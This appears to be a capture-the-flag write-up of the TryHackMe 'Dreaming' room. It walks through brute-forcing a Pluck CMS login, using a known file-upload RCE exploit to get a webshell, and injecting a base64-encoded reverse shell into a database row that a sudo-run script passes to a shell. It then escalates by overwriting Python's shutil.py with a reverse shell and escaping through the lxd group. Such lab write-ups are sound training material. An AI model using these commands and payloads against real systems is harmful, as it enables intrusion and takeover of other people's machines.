---
description: >-
  While the king of dreams was imprisoned, his home fell into ruins. Can you
  help Sandman restore his kingdom?
---

# Dreaming TryHackMe Writeup CTF

{% embed url="https://tryhackme.com/room/dreaming" %}

<figure><img src="https://images.unsplash.com/photo-1494249465471-5655b7878482?crop=entropy&#x26;cs=srgb&#x26;fm=jpg&#x26;ixid=M3wxOTcwMjR8MHwxfHNlYXJjaHw2fHxEUkVBTXN8ZW58MHx8fHwxNzAwNDIxMDg2fDA&#x26;ixlib=rb-4.0.3&#x26;q=85" alt=""><figcaption><p>Dream Big!</p></figcaption></figure>

#### Table of Contents

* [#recon](#recon "mention")
  * [#initial-foothold](#initial-foothold "mention")
* [#exploitation](#exploitation "mention")
* [#privilege-escalation](#privilege-escalation "mention")
  * [#intended-path-hacking-lucien](#intended-path-hacking-lucien "mention")
  * [#intended-path-hacking-death](#intended-path-hacking-death "mention")
  * [#intended-path-hack-morpheus](#intended-path-hack-morpheus "mention")
* [#unintended-path-get-root-and-other-flags-patched](#unintended-path-get-root-and-other-flags-patched "mention")
  * [#get-death-flag](#get-death-flag "mention")
  * [#get-morpheus-flag](#get-morpheus-flag "mention")

### Recon

First let's use rustscan to check for live ports on the target

```bash
# I use rustscan, you may use nmap
rustscan -a TARGET_IP -- -A -sC

# Expected Output
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 762667a6b0080eed34585b4e77459257 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDwLHu8L86UCKGGVbbYL07uBhmOh9hWLPtBknNwMgULG3UGIqmCT3DywDvtEYZ/6D97nrt6PpsVAu0/gp73GYjUxvk4Gfog9YFShodiB/VJqK4RC23h0oNoAElSJajjEq6JcVaEyub6w8Io50fk4nNhf8dPx0YSaRjKANr9mET6s+4cUNBAF/DknsZw6iYtafzxIQTAtgSX6AtXTXRf5cpdF02wwYvUo1jVSYdXL+Oqx19UADVhQib4Pt5gLAiwuFkoJjnN1L6xwkTjd+sUPVlhQ/6yHfB826/Qk55DWoUrnABfe+3jngyPvjl1heYDuPx01rtDvlDDGAwvriwR7XmX+8X7MZ9E9QOx/m2gEHZ83kuJ9jNLB6WjlqCyA4Zes+oHWbM9Q/nJ/UVQGdfcDS65edQ5m/fw2khqUbCeSFcuD3AQvUJvvFrfg/eTNnhpee/WYJjyZO70tlzhaT/oJheodQ1hQyfgnjwToy/ISHn9Yp4jeqrshBUF87x9kUuLV0=
|   256 523aad267f6e3f23f9e4efe85ac8425c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCmisKYJLewSTob1PZ06N0jUpWdArbsaHK65lE8Lwefkk3WFAwoTWvStQbzCJlo0MF+zztRtwcqmHc5V7qawS8E=
|   256 71df6e81f0807971a8da2e1e56c4debb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK3j+g633Muvqft5oYrShkXdV0Rjn2S1GQpyXyxoPJy0
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

Seems, like only 2 ports are open.

When visiting the ip address on port 80, it's just a default apache page.  Nothing interesting.

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FUf8pvSbtGjJ7KKXe4PUO%2Fimage.png?alt=media&#x26;token=165d8013-936b-4a78-91c0-39e91bf93c18" alt=""><figcaption><p>Default Apache Page</p></figcaption></figure>

Let's use directory bruteforcing.

```bash
dirsearch -u http://dreaming.thm -o $(pwd)/dirsearch.log
```

```bash
403   277B   http://dreaming.thm/.ht_wsr.txt
403   277B   http://dreaming.thm/.htaccess.bak1
403   277B   http://dreaming.thm/.htaccess.orig
403   277B   http://dreaming.thm/.htaccess.sample
403   277B   http://dreaming.thm/.htaccess.save
403   277B   http://dreaming.thm/.htaccess_extra
403   277B   http://dreaming.thm/.htaccess_orig
403   277B   http://dreaming.thm/.htaccess_sc
403   277B   http://dreaming.thm/.htaccessBAK
403   277B   http://dreaming.thm/.htaccessOLD2
403   277B   http://dreaming.thm/.htaccessOLD
403   277B   http://dreaming.thm/.htm
403   277B   http://dreaming.thm/.html
403   277B   http://dreaming.thm/.htpasswds
403   277B   http://dreaming.thm/.htpasswd_test
403   277B   http://dreaming.thm/.httr-oauth
403   277B   http://dreaming.thm/.php
301   310B   http://dreaming.thm/app    -> REDIRECTS TO: http://dreaming.thm/app/
200   450B   http://dreaming.thm/app/
403   277B   http://dreaming.thm/server-status/
403   277B   http://dreaming.thm/server-status
```

We now have an interesting endpoint **/app** let's take a look!

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FWJKG4FQxWcef559c3Csf%2Fimage.png?alt=media&#x26;token=3756677a-410d-4994-acf2-65bcd0c22f28" alt=""><figcaption><p>Pluck CMS 4.7.13</p></figcaption></figure>

Hmmm, interesting.... once we visit the directory of pluck we get a welcome page along with a login page link. Please note that the version of pluck is 4.7.13

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FhG76DRBCCSsGPwfn4d4b%2Fimage.png?alt=media&#x26;token=9071135a-abea-4fa7-b624-5a840bb80f89" alt=""><figcaption><p>login link for admin</p></figcaption></figure>

Since we don't know the password, neither do we have any breadcrumbs for password, we can try to use bruteforce to get the password, via burpsuite intruder.

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FU8gnKOwiPzz5J8U6wWZJ%2Fimage.png?alt=media&#x26;token=7edcc56c-e227-4067-8c22-423e27d831b7" alt=""><figcaption><p>Burp suite intruder</p></figcaption></figure>

I am using the rockyou.txt for buteforcing, Look out for response length 1464, you should have the password.

Once we have the correct password, lets checkout for some exsisting vulnerabilites on this particular version of Pluck.

```bash
# Use the searchsploit to get exploit information
searchsploit  pluck 4.7.13
# Expected output
---------------------------------------------------------------------- ----------------------
 Exploit Title                                                        |  Path
---------------------------------------------------------------------- ----------------------
Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)  | php/webapps/49909.py
---------------------------------------------------------------------------------------------
Shellcodes: No Results
Papers: No Results

```

### Initial Foothold

You may now copy the exploit code and run with following command!

```
cp $(locate php/webapps/49909.py) .
mv 49909.py exploit.py
python exploit.py TARGET_IP 80 TARGET_PASSWORD /app/pluck-4.7.13/
```

If you successfully did that, you will be provided a link to webshell

```bash
http://TARGET_IP:80/app/pluck-4.7.13//files/shell.phar
```

***

### Exploitation

Once we visit the page, you have webshell waiting for your commands. now what you can do is get a revershell back that way it will be much easier to control the system. Use the [revshells.com](https://www.revshells.com/)

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FHVTayvt7cod9DwXICkr9%2Fimage.png?alt=media&#x26;token=2b536691-b8cf-47b9-8643-95ba21b67724" alt=""><figcaption><p>webshell interface</p></figcaption></figure>

Now get a reverse shell

{% hint style="danger" %}
One thing to note is that you may need to use base64 encoding/decoding to inject a revershell via the web shell
{% endhint %}

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FphWZKTvhPMHZYCzHMDws%2Fimage.png?alt=media&#x26;token=88498039-7243-4c26-81f9-4160fc116c8c" alt=""><figcaption><p>reverse shell using base64</p></figcaption></figure>

Once we get inside, we need to find the first flag, but its read protected

```bash
4 drwxr-xr-x 6 lucien lucien 4096 Nov 19 17:53 .
4 drwxr-xr-x 5 root   root   4096 Jul 28 22:26 ..
4 -rw------- 1 lucien lucien 1877 Nov 19 18:03 .bash_history
4 -rw-r--r-- 1 lucien lucien  220 Feb 25  2020 .bash_logout
4 -rw-r--r-- 1 lucien lucien 3771 Feb 25  2020 .bashrc
4 drwx------ 3 lucien lucien 4096 Jul 28 18:42 .cache
4 drwxrwxr-x 4 lucien lucien 4096 Jul 28 18:42 .local
4 -rw-rw---- 1 lucien lucien   19 Jul 28 16:27 lucien_flag.txt
4 -rw------- 1 lucien lucien  899 Nov 19 17:44 .mysql_history
4 -rw-r--r-- 1 lucien lucien  807 Feb 25  2020 .profile
4 drwx------ 3 lucien lucien 4096 Nov 19 17:53 snap
4 drwx------ 2 lucien lucien 4096 Jul 28 14:25 .ssh
0 -rw-r--r-- 1 lucien lucien    0 Jul 28 14:28 .sudo_as_admin_successful
```

***

### Intended Path - Hacking Lucien

We can look into **/opt** directory for usefull scripts that maybe helpful

```bash
total 16K
drwxr-xr-x  2 root   root   4.0K Aug 15 12:45 .
drwxr-xr-x 20 root   root   4.0K Jul 28 22:35 ..
-rwxrw-r--  1 death  death  1.6K Aug 15 12:45 getDreams.py
-rwxr-xr-x  1 lucien lucien  483 Aug  7 23:36 test.py
```

Interesting files!, lets check **test.py**&#x20;

{% code lineNumbers="true" %}
```python
import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = "HeyLu#####REDACTED####!"

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)
```
{% endcode %}

we get the password for Lucien!, lets login using ssh and get our flag

#### Get Lucien Flag

```bash
lucien@dreaming:~$ cat lucien_flag.txt 
THM{TH3_########REDACTED######}
```

***

### Intended Path - Hacking Death

Check if there is any program that can be run as root to get an easy hack.

{% code lineNumbers="true" %}
```bash
sudo -l
## Expected Output
lucien@dreaming:~$ sudo -l
Matching Defaults entries for lucien on dreaming:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lucien may run the following commands on dreaming:
    (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py
```
{% endcode %}

So we can run a python script without any password using sudo!

Now let's check the other file in the **/opt** folder!

```bash
cat /opt/getDreams.py # we can assume a copy of this script is being used
```

{% code lineNumbers="true" %}
```python
import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"

import mysql.connector
import subprocess

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()
```
{% endcode %}

As per the code, we don't have the password for the user death, but if you look closely there is a for loop from line 37-42 which prints the data from the database, we need to hijack the process there.

What we can simply do is use a bash payload in the library database, itself so when it prints the data, it will terminate the line and execute our payload.

But first we need to get the password for the database! the best place to look for is the **.bash\_history** file.

{% code lineNumbers="true" %}
```bash
cat /home/lucien/.bash_history

# expected output
...
clear
clear
su root
cd ~~
cd ~
clear
ls
mysql -u lucien -plucie####REDACTED####
ls -la
cat .bash_history 
cat .mysql_history 
clear
ls
ls -la
rm .mysql_history 
clear
...
```
{% endcode %}

As you can see, after the -p argument there is a password, lets use that to connect to the library database.

{% code lineNumbers="true" %}
```bash
mysql -u lucien -p -D libary # since the DB_NAME in the script is for library

# Get the tables
mysql> show tables;
+-------------------+
| Tables_in_library |
+-------------------+
| dreams            |
+-------------------+
1 row in set (0.00 sec)

# Check the data
mysql> select * from dreams;
+---------+------------------------------------+
| dreamer | dream                              |
+---------+------------------------------------+
| Alice   | Flying in the sky                  |
| Bob     | Exploring ancient ruins            |
| Carol   | Becoming a successful entrepreneur |
| Dave    | Becoming a professional musician   |
+---------+------------------------------------+
4 rows in set (0.00 sec)

# Now Let's append our bash payload to check if it works or not
mysql> insert into dreams (dreamer,dream) values ("payload",";id");
Query OK, 1 row affected (0.01 sec)
```
{% endcode %}

Now execute the script like this

```bash
sudo -u death /usr/bin/python3 /home/death/getDreams.py
```

{% code lineNumbers="true" %}
```bash
lucien@dreaming:~$ sudo -u death /usr/bin/python3 /home/death/getDreams.py
Alice + Flying in the sky

Bob + Exploring ancient ruins

Carol + Becoming a successful entrepreneur

Dave + Becoming a professional musician

payload +
uid=1001(death) gid=1001(death) groups=1001(death)
```
{% endcode %}

As you can see along with the data, we can execute our bash payloads!

Time to pivot, use the [revshells.com](https://www.revshells.com/) to generate a reverse shell payload, select the encoding as base64.

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FacxJvKe8U79ySgKA4MN9%2Fimage.png?alt=media&#x26;token=cce33ea3-83bb-49b2-bb23-13a1395ff9c2" alt=""><figcaption><p>generate payload!</p></figcaption></figure>

Now do the same like previously, login to database and insert the payload like the following

```bash
mysql> insert into dreams (dreamer,dream) values ("payload",";echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvd#######MjU1LzY5IDA+JjE=|base64 -d|bash");
```

And open the netcat listener in your own machine and execute the script again to get the shell!

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2Fh6WhqMfVSHXuCMonhcdO%2Fimage.png?alt=media&#x26;token=5d899049-adcf-4f45-9095-aae7238bd729" alt=""><figcaption><p>get the shell</p></figcaption></figure>

Get the flag!

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FQnN7Vf7QGFd7XwqaoXCm%2Fimage.png?alt=media&#x26;token=14200128-5c09-42f1-a0c4-500c75d26203" alt=""><figcaption><p>Getting death flag</p></figcaption></figure>

***

### Intended Path - Hack Morpheus

Let's get back to **/home/morpheus** check for files that we can read or write to.

{% code lineNumbers="true" %}
```bash
ls -laSh
-rw-r--r-- 1 morpheus morpheus 3771 Feb 25  2020 .bashrc
-rw-rw-r-- 1 morpheus morpheus   22 Jul 28 22:37 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28 22:30 .local
-rw-rw---- 1 morpheus morpheus   28 Jul 28 22:29 morpheus_flag.txt
-rw-r--r-- 1 morpheus morpheus  807 Feb 25  2020 .profile
-rw-rw-r-- 1 morpheus morpheus  180 Aug  7 23:48 restore.py
-rw-rw-r-- 1 morpheus morpheus   66 Jul 28 22:33 .selected_editor
```
{% endcode %}

As you can see, there is **restore.py** python script, let's investigate!

{% code lineNumbers="true" %}
```python
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")
```
{% endcode %}

The program makes a backup copy of a file, but uses a library **shutil.**

We can check if we have any read or write privileges on that library itself.

{% code lineNumbers="true" %}
```bash
death@dreaming:/home/morpheus$ find / -name "shutil.py" -type f 2>/dev/null
# Expected Output
/usr/lib/python3.8/shutil.py
/snap/core20/1974/usr/lib/python3.8/shutil.py
/snap/core20/2015/usr/lib/python3.8/shutil.py
```
{% endcode %}

Let's check the first file

{% code lineNumbers="true" %}
```bash
death@dreaming:/home/morpheus$ ls -laSh /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51K Aug  7 23:52 /usr/lib/python3.8/shutil.py
```
{% endcode %}

The user **death** is in group, so we can write into the file.

The best way to do it using the [**revshells.com**](https://www.revshells.com/) again and generate a python payload! only copy the selected part of the payload like the following.

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FHHtQMpRGNNKlR5cFOP35%2Fimage.png?alt=media&#x26;token=05b6a07b-8beb-4b4d-8ada-1bc4eaeac799" alt=""><figcaption><p>only copy the selected path</p></figcaption></figure>

Go to this website : [https://www.base64encode.org/](https://www.base64encode.org/)

And encode our payload to generate the base64 payload.

Then insert the payload to shutil.py.

```
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNz....YOUR_BASE64_PAYLOAD |base64 -d > /usr/lib/python3.8/shutil.py
```

Open your netcat/pwncat listner, and wait for the shell.

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2FbNtWIK3SeroZavOZAGmd%2Fimage.png?alt=media&#x26;token=e66284b2-9765-4ce1-884f-458e4f3402e0" alt=""><figcaption><p>just wait and watch!</p></figcaption></figure>

Get the Flag!

<figure><img src="https://3865883041-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqbibUCxJnVbTL6bbTZHc%2Fuploads%2F3fteuznMDIIc7R6OEqYf%2Fimage.png?alt=media&#x26;token=1b1cbd33-2f5a-4a91-8262-1bc5723e3575" alt=""><figcaption><p>get the flag!</p></figcaption></figure>

***

### Unintended Path - Get Root and other flags! ( Patched!!!! ) :sob:

Since I didn't want this writeup to be long, let's try to get root and leave the rest of the users and other enumeration.

If we use **id** command we can see that our user **lucien** is in lxd group, we are in luck!

```bash
lucien@dreaming:/home$ id
uid=1000(lucien) gid=1000(lucien) groups=1000(lucien)....117(lxd)
```

Use the following command on your own machine, to create an alpine image!

```bash
sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
make
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
```

Then, upload to the vulnerable server the files lxd.tar.xz and rootfs.squashfs&#x20;

Add the image:

```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
```

Once done, if you see your image listed we are good to go for the next few steps!

```bash
lxc init # it will ask you a couple of questions just keep hiting return
lxc init alpine privesc -c security.privileged=true
lxc list #List containers

lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```

{% hint style="danger" %}
If you find this error _**Error: No storage pool found. Please create a new storage pool**_\
Run **`lxd init`** and **repeat** the previous chunk of commands
{% endhint %}

Execute the container:

```bash
lxc start privesc
lxc exec privesc /bin/sh
cd /mnt/root # this where the main filesystem is mounted
```

### Get Death Flag

Since you have the root permission you have the freedom to read any files of any users!

```bash
# Death Flag
root@dreaming:/home# cat /home/death/death_flag.txt
THM{1M_TH3R3_####REDACTED#####}
```

### Get Morpheus Flag

```bash
# Morpheus Flag
root@dreaming:/home# cat /home/morpheus/morpheus_flag.txt 
THM{DR34MS_####REDACTED#######}
```

Thank you for reading! :sunglasses: Keep Learning & Happy Hunting! :heart:&#x20;
